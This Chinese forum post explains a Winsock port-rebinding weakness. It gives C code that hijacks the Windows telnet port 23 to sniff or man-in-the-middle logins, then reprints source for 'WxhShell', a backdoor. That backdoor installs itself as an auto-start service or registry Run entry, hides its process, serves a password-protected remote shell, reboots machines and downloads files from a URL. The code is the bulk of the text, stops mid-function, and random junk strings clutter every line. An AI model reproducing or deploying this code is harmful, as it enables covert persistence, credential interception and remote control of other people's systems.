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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2\CkX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); awSS..g}L  
(T#(A4:6S  
  saddr.sin_family = AF_INET; (zro7gKked  
n.Eoi4jV'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b}?@syy8  
{{[jC"4AY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a. `JS  
Q~Sv2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IU'!?XVo  
5) n:<U*  
  这意味着什么?意味着可以进行如下的攻击: N7HbOLpM  
;'Vipj   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q~' K9  
u388Wj   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QOh w  
^I0GZG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rb}wv16?  
o!l3.5m2d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p`<e~[]a  
tp0!,ne*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?m9UhLeaS=  
J.e8UQ@=5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o S:vTr+$  
Ubw!/|mi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X v7U<q  
0q>NE <L  
  #include cxP9n8CuT  
  #include WP% {{zR$  
  #include &W)+8N,L  
  #include    jY#(A23  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X.T\=dm%v  
  int main() QC\g%MVG  
  { uRB)g  
  WORD wVersionRequested; THbtu*El  
  DWORD ret; (4{ C7  
  WSADATA wsaData; 4Fr7jD,#k  
  BOOL val; b!^M}s6  
  SOCKADDR_IN saddr; 5fj  
  SOCKADDR_IN scaddr; r_V2 J{B  
  int err; we H@S  
  SOCKET s; z"s%#/#  
  SOCKET sc; RP|>&I  
  int caddsize; z7@(uIl=X  
  HANDLE mt; |B1; l<|`  
  DWORD tid;   6Bq~\b^  
  wVersionRequested = MAKEWORD( 2, 2 ); "3Xv%U9@  
  err = WSAStartup( wVersionRequested, &wsaData ); 7{K i;1B[w  
  if ( err != 0 ) { V$-~%7@>;9  
  printf("error!WSAStartup failed!\n"); x '=3&vc4  
  return -1; iKF$J3a\2f  
  } x#:BE  
  saddr.sin_family = AF_INET; M8#*zCp{5  
   V &mH#k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OZ>)sL  
c9*1$~(v0I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =$)4:  
  saddr.sin_port = htons(23); ]M+VSU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H4 }%;m%  
  { *gM,x4Y  
  printf("error!socket failed!\n"); S/nj5Lh  
  return -1; m{b ZRkt  
  } LL= Z$U $  
  val = TRUE; d%#!nq{vd  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `x{.z=xC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XSm"I[.g  
  { V9fGVDl;  
  printf("error!setsockopt failed!\n"); H{\.g=01  
  return -1; 2qs>Bshf  
  } VxkCK02k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  (kWSK:l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E[|s>Xv~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V-KL%  
kf%&d}2to  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) biK)&6|`sa  
  { W_[|X}lWP  
  ret=GetLastError(); ^wx%CdFm'P  
  printf("error!bind failed!\n"); GI2eJK  
  return -1; |^7f\.oF  
  } <*s"e)XeqF  
  listen(s,2); ID67?:%r  
  while(1) S=0"f}Jo.  
  { fm(mO%  
  caddsize = sizeof(scaddr); B :.@Qi^  
  //接受连接请求 GVmC }>z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s<[A0=LH  
  if(sc!=INVALID_SOCKET) ;y>S7n>n:  
  { 1R0ffP]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Tub1S v>J  
  if(mt==NULL) r4O|()  
  { $& cz$jyY  
  printf("Thread Creat Failed!\n"); "+=Pp  
  break; z%(Fo2)^  
  } a q3~!T;W  
  } %KGq*|GUu  
  CloseHandle(mt); ^4c,U9J=  
  } 96(R'^kNX  
  closesocket(s); x(L(l=^"  
  WSACleanup(); r55qmPhg  
  return 0; ' |&>/dyq  
  }   F%xK"l`&  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0cHfxy3  
  { 1HMUHZT  
  SOCKET ss = (SOCKET)lpParam; n[!;yO  
  SOCKET sc; z~,mRgc$B  
  unsigned char buf[4096]; &VDl/qnaL  
  SOCKADDR_IN saddr; ((XE\V\}Z  
  long num; 8".2)W4*  
  DWORD val; Hkdf$$\  
  DWORD ret; _a](V6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hk%k(^ekU]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   av-#)E  
  saddr.sin_family = AF_INET; F/>*If s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H+ lX-,  
  saddr.sin_port = htons(23); gH[,Xx?BN!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^i+[m  
  { K UKACUL  
  printf("error!socket failed!\n"); hoenQ6N^:  
  return -1; #02Kdo&Vy  
  } l4rMk^>>  
  val = 100; [$pmPr2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VPt9QL(  
  { !;S"&mcPDJ  
  ret = GetLastError(); /@hJpz|+   
  return -1; 'cV?i&;  
  } t V03+&jF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4U=75!>  
  { zvY+R\,in  
  ret = GetLastError(); $IVwA  
  return -1; 2?W7I/F  
  } * RWm47  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y500Xs[c  
  { ib$nc2BPb  
  printf("error!socket connect failed!\n"); Ye5jB2Z  
  closesocket(sc); <xo-Fv  
  closesocket(ss); +H_MV=A^  
  return -1; N2ied^* 0  
  } `pL^}_>|GM  
  while(1) d;7 uFh|o  
  { S|em[D[Y^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?<U{{ C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ";x+1R.d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t 9^A(Vh"-  
  num = recv(ss,buf,4096,0); 8 Ti G3  
  if(num>0) EHn"n"Y  
  send(sc,buf,num,0); fY,|o3#  
  else if(num==0) 3GH(wSv9\  
  break; L?5f+@0.  
  num = recv(sc,buf,4096,0); ^ B/9{0n'  
  if(num>0) +oc >S  
  send(ss,buf,num,0); ?+0GfIV  
  else if(num==0) 6G AaV[])'  
  break; nXA\|c0  
  } B=Ym x2A9]  
  closesocket(ss); ?wb+L  
  closesocket(sc); k |YWOy@D~  
  return 0 ; amWD-0V  
  } $w#r"= )  
QA#3bFZt1n  
]Mi.f3QlO6  
========================================================== "*z_O  
<7_KeOLJ  
下边附上一个代码,,WXhSHELL \ HZ9S=  
}8-\A7T  
========================================================== 3+Qxg+<  
@}-r&/#  
#include "stdafx.h" qZv =  
^].jH+7i*  
#include <stdio.h> Ih}1%Jq  
#include <string.h> b5G}3)'w  
#include <windows.h> I6!5Yj]O"  
#include <winsock2.h> P>ceeoYQuA  
#include <winsvc.h> }x0- V8  
#include <urlmon.h> 4mjgt<`  
l_tw<`Ep  
#pragma comment (lib, "Ws2_32.lib") lbdTQ6R  
#pragma comment (lib, "urlmon.lib") wXMDh$  
i':i_kU  
#define MAX_USER   100 // 最大客户端连接数 /iC;%r1L  
#define BUF_SOCK   200 // sock buffer F>je4S;  
#define KEY_BUFF   255 // 输入 buffer *OJ/V O  
51C2u)HE  
#define REBOOT     0   // 重启 g>rp@M  
#define SHUTDOWN   1   // 关机 6qWdd&1  
)tHaB,  
#define DEF_PORT   5000 // 监听端口 7uorQfR?  
._w8J"E5  
#define REG_LEN     16   // 注册表键长度 IQ< MyB(  
#define SVC_LEN     80   // NT服务名长度 w%AcG~`j!B  
aI(7nJ=R  
// 从dll定义API '>$EOg"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )n49lr6 X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PNF?;*`-{7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %J:SO_6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zv11uH-C  
ml0.$z  
// wxhshell配置信息 PWRy7d  
struct WSCFG { >d"3<S ; b  
  int ws_port;         // 监听端口 fj7|D'c  
  char ws_passstr[REG_LEN]; // 口令 Aa0b6?Jm  
  int ws_autoins;       // 安装标记, 1=yes 0=no fkSO( C)  
  char ws_regname[REG_LEN]; // 注册表键名 FGO[ |]7IN  
  char ws_svcname[REG_LEN]; // 服务名 8.' #?]a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KrVcwAcq|1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^-mRP\5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S##1GOO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \^(0B8|w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9a\nszwa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xs&TJ8a  
uw\2qU3gk  
}; WW+l'6.  
k#8Ti"0  
// default Wxhshell configuration |@,|F:h<M  
struct WSCFG wscfg={DEF_PORT, NK|?y  
    "xuhuanlingzhe", /525w^'pd  
    1, p4IZ   
    "Wxhshell", t }IkK=f  
    "Wxhshell", ZyOv.,y  
            "WxhShell Service", dm-pxE "  
    "Wrsky Windows CmdShell Service", />'V!iWyz  
    "Please Input Your Password: ", ;.xoN|Per  
  1, J q{7R  
  "http://www.wrsky.com/wxhshell.exe", xtPLR/Z  
  "Wxhshell.exe" L %ip>  
    }; *  tCS  
JN^ &S  
// 消息定义模块 SN4Q))dAU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `%+ mO88o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]E  =Iu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [E#UGJ@  
char *msg_ws_ext="\n\rExit."; XwV'Ha  
char *msg_ws_end="\n\rQuit."; G}5#l  
char *msg_ws_boot="\n\rReboot..."; t8^m`W  
char *msg_ws_poff="\n\rShutdown..."; Z_\C*^  
char *msg_ws_down="\n\rSave to "; ?JL7=o X  
J=.`wZQkS  
char *msg_ws_err="\n\rErr!";  ^p n(=4  
char *msg_ws_ok="\n\rOK!"; tiN?/  
b:qY gg  
char ExeFile[MAX_PATH]; #r PP*  
int nUser = 0; >!_Xgw  
HANDLE handles[MAX_USER]; < >UPD02  
int OsIsNt;  h:lt<y  
sr@j$G#uW5  
SERVICE_STATUS       serviceStatus; r{L4]|(utY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QwhRNnE=  
P oEqurH0  
// 函数声明 r=yK,d/1  
int Install(void); VMoSLFp^R  
int Uninstall(void); jx acg^c  
int DownloadFile(char *sURL, SOCKET wsh); v]__%_  
int Boot(int flag); ?+T^O?r|O  
void HideProc(void); \{Q?^E  
int GetOsVer(void); S+TOSjfis  
int Wxhshell(SOCKET wsl); \om%Q[F7a  
void TalkWithClient(void *cs); {3N'D2N  
int CmdShell(SOCKET sock);  L4uFNM]  
int StartFromService(void); eZ"1gYqy  
int StartWxhshell(LPSTR lpCmdLine); FU=w(< R;  
Ra*e5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kB5.(O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NrP0Ep%V  
GUslPnG  
// 数据结构和表定义 cb5,P~/q  
SERVICE_TABLE_ENTRY DispatchTable[] = 2Z20E$Cb  
{ 42>Ge>#F  
{wscfg.ws_svcname, NTServiceMain}, Qt]Q: 9I[  
{NULL, NULL} s=?g\oR  
}; 8kP3+  
&rkEK4  
// 自我安装 p4VeRJk%  
int Install(void) 29XL$v],  
{ ? FfC  
  char svExeFile[MAX_PATH]; E( us'9c   
  HKEY key; vkLC-Mzm<  
  strcpy(svExeFile,ExeFile); mS k5u7  
lO2[JP  
// 如果是win9x系统,修改注册表设为自启动 E^U0f/5 m  
if(!OsIsNt) { sB69R:U;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8w({\=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;gC|  
  RegCloseKey(key); |yo\R{&6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V.wqZ {G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dMR3)CO  
  RegCloseKey(key); pLv$\ MiZ  
  return 0; a<]B B$~  
    } g/13~UM\  
  } I(=V}s2  
} QRLt9L  
else { OT'[:|x ;  
> x IJE2  
// 如果是NT以上系统,安装为系统服务 ja=F7Usb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1~ $);US  
if (schSCManager!=0) d#2$!z#  
{ ')GSAY7  
  SC_HANDLE schService = CreateService .f+TZDUO  
  ( u^029sH6j  
  schSCManager, BB|?1"neg  
  wscfg.ws_svcname, # p[',$cC  
  wscfg.ws_svcdisp, ah~Y eJp  
  SERVICE_ALL_ACCESS, ,^icPQSwc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6"dD2WV/  
  SERVICE_AUTO_START, klUQkz |<a  
  SERVICE_ERROR_NORMAL, eW|^tH  
  svExeFile, gk`zA  
  NULL, +**!@uY  
  NULL, .5  
  NULL, h<~7"ONhV  
  NULL, soCi[j$lH  
  NULL pKi&[  
  ); Rb3V^;i  
  if (schService!=0) -.{g}R%  
  { 1yqJwy;X  
  CloseServiceHandle(schService); A=Ss6 -Je  
  CloseServiceHandle(schSCManager); %c[V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #pcP!  
  strcat(svExeFile,wscfg.ws_svcname); :T9< d er,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %u;~kP|S%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z2Z^~, i  
  RegCloseKey(key); 7=(Hy\Q5xH  
  return 0; U4G`ZK v(!  
    } qY[xpm  
  } 41SGWAd#:  
  CloseServiceHandle(schSCManager); ? R>h `  
} fU!<HD h  
} 9uWY@zu  
/> 4"~q)  
return 1; "O(9m.CZ  
} Zdn~`Q{  
"1, pHR-+R  
// 自我卸载 0T46sm r  
int Uninstall(void) 'fPdpnJ<  
{ r [ K5w  
  HKEY key; MX+ Z ?  
"*})3['n  
if(!OsIsNt) { O(_[ayE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &5: tn=E  
  RegDeleteValue(key,wscfg.ws_regname); B-l'vVx  
  RegCloseKey(key); Uk\Id ~xLV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H<1WbM:w  
  RegDeleteValue(key,wscfg.ws_regname); S6[v;{xJ  
  RegCloseKey(key); Uo2GK3nT  
  return 0; VWO9=A*Y|  
  } @_z4tUP  
} ;,]P=Ey  
} zz& ?{vJ  
else { cYqfsd# B  
~jsLqY*(+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "9n3VX)  
if (schSCManager!=0) $HJwb-I  
{ R"K#7{p9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f^VP/rdg  
  if (schService!=0) KgR<E  
  { 8n>9;D5n  
  if(DeleteService(schService)!=0) { im @h -A]0  
  CloseServiceHandle(schService); L QjsOo  
  CloseServiceHandle(schSCManager); yBI'djL~>  
  return 0; 'e6WDC1Am(  
  } GQ |Mr{.;  
  CloseServiceHandle(schService); t#2(j1  
  } #UbF9})q  
  CloseServiceHandle(schSCManager); zk( U8C+  
} 2,*M|+W~  
} :^(>YAyHj^  
Q f@  
return 1; '} $Dgp6e  
} N$[{8yil^w  
A,4fEmWM  
// 从指定url下载文件 ){UcS/GI=  
int DownloadFile(char *sURL, SOCKET wsh) &-;5* lg)0  
{ ttu&@ =  
  HRESULT hr; 0'IBN}  
char seps[]= "/"; QqU!Najf  
char *token; G.UI|r /Kz  
char *file; gg8Uo G  
char myURL[MAX_PATH]; ghRVso(  
char myFILE[MAX_PATH]; qT^I?g"!  
Ng_!zrx04  
strcpy(myURL,sURL); )Eo)t>  
  token=strtok(myURL,seps); K>{T_){  
  while(token!=NULL) 53[~bwD  
  { YD7Oao4:o  
    file=token; $ , u+4h  
  token=strtok(NULL,seps); X*\ J_  
  } #{\%rWnCm  
JeE ;V![  
GetCurrentDirectory(MAX_PATH,myFILE); dN$Tf  
strcat(myFILE, "\\"); R47\Y  
strcat(myFILE, file); L+q/){Dd(  
  send(wsh,myFILE,strlen(myFILE),0); 9th,VnD0  
send(wsh,"...",3,0); r >nG@A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gN"7be&J  
  if(hr==S_OK) .p(T^ m2A*  
return 0; is-7 j7;  
else GmP@;[H"  
return 1; 1Yn +<I  
S.f5v8  
} Pjc Tx +  
.qZI$ l .  
// 系统电源模块 O`<KwUx !  
int Boot(int flag) j{Q9{}<e  
{ r% +V8o  
  HANDLE hToken; pS7w' H  
  TOKEN_PRIVILEGES tkp; Bf8jPa/  
 v%iflCK  
  if(OsIsNt) { \:UIc*S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~W-PD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Uw7h=UQh  
    tkp.PrivilegeCount = 1; ~ (jKz}'~U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MpR2]k#n<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HKUn`ng  
if(flag==REBOOT) { b"{'T]"*j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N=7pK&NHSG  
  return 0; k-^mIJo}  
} 5f 5f0|ok  
else { :w^Ed%>y7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) , JQp'e  
  return 0; ]'=)2 .}  
} W}mn}gTQ  
  } >: g3k  
  else { R)m'lMi|  
if(flag==REBOOT) { D-._z:_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +O?KNZ  
  return 0; 7](KV"%V  
} Xx>X5Fy  
else { pW J Fz-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V: TM]  
  return 0; L bmawi^  
} JVSA&c%3  
} ybKWOp:O  
"[ZB+-|[0  
return 1; /x p|  
} }xh$T'M8  
oc>{?.^  
// win9x进程隐藏模块 B e0ND2oo  
void HideProc(void) _dhgAx-H)h  
{ #6HA\dE  
t,+nQ9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ) u`[6,d  
  if ( hKernel != NULL ) 85Otss/mM  
  { y1+*6|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z?*w8kU&>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N@Uy=?)ZJ  
    FreeLibrary(hKernel); LAS'u "c|  
  } IHv[v*4:  
9^#c| 0T  
return; 7%|~>  
} 6"&6 `f  
Oagsoik  
// 获取操作系统版本 c2'Lfgx4  
int GetOsVer(void) &keR~~/  
{ eEv@}1~  
  OSVERSIONINFO winfo; `ux{;4q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I7n"&{s"*  
  GetVersionEx(&winfo); (<xfCH F5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EWkLXU6t  
  return 1; [QoK5Yw{  
  else Ni-xx9)=  
  return 0; 9\BT0kx  
} [`"ZjkR_J  
.ufTQ?Fe  
// 客户端句柄模块 zv\kPfGDK  
int Wxhshell(SOCKET wsl) AW!?"xdZ  
{ n%.7h3  
  SOCKET wsh; /YMj-S_b~  
  struct sockaddr_in client; m!tbkZHQn0  
  DWORD myID; m4hg'<<V  
1;Cyz)  
  while(nUser<MAX_USER) b)qoh^  
{ Ch|jtVeuyJ  
  int nSize=sizeof(client); f$Fhf ?'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R5 - @  
  if(wsh==INVALID_SOCKET) return 1; P"IPcT%Ob%  
iW%I|&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?IqQ-C)6D  
if(handles[nUser]==0) 3yU.& k  
  closesocket(wsh); jZ~n[ f+Q  
else v50bdj9}k  
  nUser++; v,-HU&/*B  
  } 2db3I:;E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ~- _kM  
SwTL|+u  
  return 0; }J:U=HJ  
} :~tAUy":_*  
#FCnA  
// 关闭 socket Ybs\ES'?A  
void CloseIt(SOCKET wsh) >_-s8t=|  
{ zuJ@E=7  
closesocket(wsh); ^6MU 0Q2  
nUser--; p'*>vk  
ExitThread(0); G\Cp7:j}  
} vgH3<pDiU6  
mGJKvJF   
// 客户端请求句柄 6;\I))"[  
void TalkWithClient(void *cs) (a.z9nqGA  
{ w[zjerH3  
=hC,@R>;  
  SOCKET wsh=(SOCKET)cs; 93("oBd[s(  
  char pwd[SVC_LEN]; [65 `$x-  
  char cmd[KEY_BUFF]; ~962i#&4  
char chr[1]; ao1(]64X"  
int i,j; 8*#R]9  
s%nUaWp~  
  while (nUser < MAX_USER) { %et } A93  
.oYl-.E>&  
if(wscfg.ws_passstr) { :8=ikwQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )_syZ1j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ; >hNt  
  //ZeroMemory(pwd,KEY_BUFF); &5fJPv &  
      i=0; c'>/  
  while(i<SVC_LEN) { f_jo+z{-ik  
>z{d0{\  
  // 设置超时 XHK<AO^  
  fd_set FdRead; }Jy8.<Gd^  
  struct timeval TimeOut; AS'R?aX|C  
  FD_ZERO(&FdRead); /Y W>*?"N  
  FD_SET(wsh,&FdRead); CrC^1K  
  TimeOut.tv_sec=8; ]@j*/IP  
  TimeOut.tv_usec=0; %Gz0^[+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )t0$qd ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *4Thd:7 `  
GK )?YM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BP'36?=Zo  
  pwd=chr[0]; -3t7*  
  if(chr[0]==0xd || chr[0]==0xa) { \qdHX  
  pwd=0; s C%&cRQD  
  break; 42_`+Vt]d7  
  } ;f0I 8i,JN  
  i++; "pi=$/RD9  
    } ]HKQDc'  
c }Ft^Il  
  // 如果是非法用户,关闭 socket OE_XCZ!5P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S!jTyY7e  
} /32Fy`KV  
X@ +{5%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n7B7m,@1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $2oTkOA   
"bFTk/  
while(1) { &gVN&  
we~[] \  
  ZeroMemory(cmd,KEY_BUFF); :q$.,EZ4#n  
7 E r23Q  
      // 自动支持客户端 telnet标准   V+* P2|  
  j=0; YSr9VpqWV  
  while(j<KEY_BUFF) { Xb:;</  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c]x1HvPE  
  cmd[j]=chr[0]; jSD#X3qp  
  if(chr[0]==0xa || chr[0]==0xd) { aktU$Wbwl  
  cmd[j]=0; [-65PC4aN  
  break; 1-%fo~!l  
  } a,@]8r-"  
  j++; >:AARx%  
    } XX7{-Y y  
{@H6HqD  
  // 下载文件 yzbx .  
  if(strstr(cmd,"http://")) { CJ/X}hi,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x5,++7Tz  
  if(DownloadFile(cmd,wsh)) w k(VR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q8:Has  
  else &oP +$;Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3EV;LH L  
  } oRm L {UDZ  
  else { 0LPig[  
WZ-s--n#  
    switch(cmd[0]) { 0t^M3+nc  
  ?J%1#1L"/  
  // 帮助 B-?6M6#  
  case '?': { 4,bv)Im+ `  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 54gBJEhg  
    break; $*^kY;  
  } :#LLo}LKp  
  // 安装 (|[2J3ZET  
  case 'i': { @oNH@a j%  
    if(Install()) *?5*m+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;X8yFq  
    else EY^1Y3D w0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j#X.KM   
    break; s [M?as  
    } a=1NED'  
  // 卸载 }\z.)B4,  
  case 'r': { RJL2J]*S  
    if(Uninstall()) v6=RY<l"m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6.CbAi3Z  
    else gQo]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;\a YlV-  
    break; %7"q"A r[  
    } _BM" ]t*  
  // 显示 wxhshell 所在路径 n G,A@/N  
  case 'p': { 49rf7NT-g  
    char svExeFile[MAX_PATH]; )_+rU|We  
    strcpy(svExeFile,"\n\r"); <>dT64R|  
      strcat(svExeFile,ExeFile); NaPt"G  
        send(wsh,svExeFile,strlen(svExeFile),0); ;9[fonk  
    break; <LmIK  
    } O}+.U<V  
  // 重启 NO~*T?&  
  case 'b': { T_i:}ul  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $*SW8'],`  
    if(Boot(REBOOT)) AJf4_+He  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S/}2;\Xm  
    else { Lrta/SU*  
    closesocket(wsh); ]p _L)  
    ExitThread(0); %=n!Em(  
    } `Bo*{}E  
    break; 33o9Yg|J~  
    } V^7V[(~`  
  // 关机 bt"W(m&f  
  case 'd': { ~T ]m>A!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 88VZR&v   
    if(Boot(SHUTDOWN)) $}<PL}+  
